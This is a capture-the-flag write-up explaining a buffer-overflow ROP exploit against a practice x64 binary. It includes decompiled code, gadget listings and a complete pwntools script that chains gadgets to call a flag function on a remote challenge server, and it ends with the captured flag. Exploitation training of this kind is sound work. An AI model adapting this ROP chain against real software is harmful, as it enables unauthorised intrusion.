Skip to main content

Rocket Blaster XXX

  • Difficulty: Easy
  • Technique: ROP2Fxn with arguments (x64)

Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!

Approach

Check protections

Command:

$ checksec --file=rocket_blaster_xxx

Output:

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./glibc/'

Disassemble binary

flag function's pseudocode

int __fastcall fill_ammo(__int64 a1, __int64 a2, __int64 a3)
{
char buf; // [rsp+2Bh] [rbp-5h] BYREF
int fd; // [rsp+2Ch] [rbp-4h]

fd = open("./flag.txt", 0);
if ( fd < 0 )
{
perror("\nError opening flag.txt, please contact an Administrator.\n");
exit(1);
}
if ( a1 != 0xDEADBEEFLL )
{
printf("%s[x] [-] [-]\n\n%sPlacement 1: %sInvalid!\n\nAborting..\n", "\x1B[1;31m", "\x1B[1;34m", "\x1B[1;31m");
exit(1);
}
if ( a2 != 0xDEADBABELL )
{
printf(aS, "\x1B[1;32m", "\x1B[1;31m", "\x1B[1;34m", "\x1B[1;31m");
exit(2);
}
if ( a3 != 0xDEAD1337LL )
{
printf(aS_0, "\x1B[1;32m", "\x1B[1;31m", "\x1B[1;34m", "\x1B[1;31m");
exit(3);
}
printf(aS_1, "\x1B[1;32m");
fflush(stdin);
fflush(_bss_start);
while ( read(fd, &buf, 1uLL) > 0 )
fputc(buf, _bss_start);
close(fd);
fflush(stdin);
return fflush(_bss_start);
}

Flag function, require 3 arguments.

main function's pseudocode

int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 buf[4]; // [rsp+0h] [rbp-20h] BYREF

banner();
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
buf[3] = 0LL;
fflush(_bss_start);
printf(
"\n"
"Prepare for trouble and make it double, or triple..\n"
"\n"
"You need to place the ammo in the right place to load the Rocket Blaster XXX!\n"
"\n"
">> ");
fflush(_bss_start);
read(0, buf, 0x66uLL);
puts("\nPreparing beta testing..");
return 0;
}

Buffer overflow vulnerability detected.

Exploit

  1. Fill registers with 3 of the specified argument values required by fill_ammo function.
  2. Overwrite return address with fill_ammo function address using buffer overflow vulnerabiliy.

ROP gadgets

  • arg_1 (RDI) - 0xDEADBEEF
  • arg_2 (RSI) - 0xDEADBABE
  • arg_3 (RDX) - 0xDEAD1337

Command:

$ ROPgadget --binary=rocket_blaster_xxx

Output:

Gadgets information
============================================================
.
.
0x000000000040125d : pop rbp ; ret
0x000000000040159f : pop rdi ; ret
0x000000000040159b : pop rdx ; ret
0x00000000004013ae : pop rsi ; or al, 0 ; add byte ptr [rax - 0x77], cl ; ret 0x8d48
0x000000000040159d : pop rsi ; ret
.
.
Unique gadgets found: 77

Next, we initialise the values required for each of the registers.

from pwn import *

r = remote('83.136.250.218', 34674)
elf = context.binary = ELF('./rocket_blaster_xxx')
rop = ROP(elf)

pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret']).address)
pop_rsi = p64(rop.find_gadget(['pop rsi', 'ret']).address)
pop_rdx = p64(rop.find_gadget(['pop rdx', 'ret']).address)

arg_rdi = p64(3735928559)
arg_rsi = p64(3735927486)
arg_rdx = p64(3735884599)

Lastly, overwrite the return address stored on the stack with the required arguments.

ret = next(elf.search(asm('ret')))
target = p64(elf.symbols.fill_ammo)

padding = 32*b'A'
payload = padding + p64(ret) + pop_rdi + arg_rdi + pop_rsi + arg_rsi + pop_rdx + arg_rdx + p64(ret) + target

r.sendline(payload)
r.interactive()

Remarks: Classical ROP challenge.

Script

from pwn import *

r = remote('83.136.250.218', 34674)
elf = context.binary = ELF('./rocket_blaster_xxx')
rop = ROP(elf)

pop_rdi = p64(rop.find_gadget(['pop rdi', 'ret']).address)
pop_rsi = p64(rop.find_gadget(['pop rsi', 'ret']).address)
pop_rdx = p64(rop.find_gadget(['pop rdx', 'ret']).address)

arg_rdi = p64(3735928559)
arg_rsi = p64(3735927486)
arg_rdx = p64(3735884599)

ret = next(elf.search(asm('ret')))
target = p64(elf.symbols.fill_ammo)

padding = 32*b'A'
payload = padding + p64(ret) + pop_rdi + arg_rdi + pop_rsi + arg_rsi + pop_rdx + arg_rdx + p64(ret) + target

r.sendline(payload)
r.interactive()

Flag

HTB{b00m_b00m_r0ck3t_2_th3_m00n}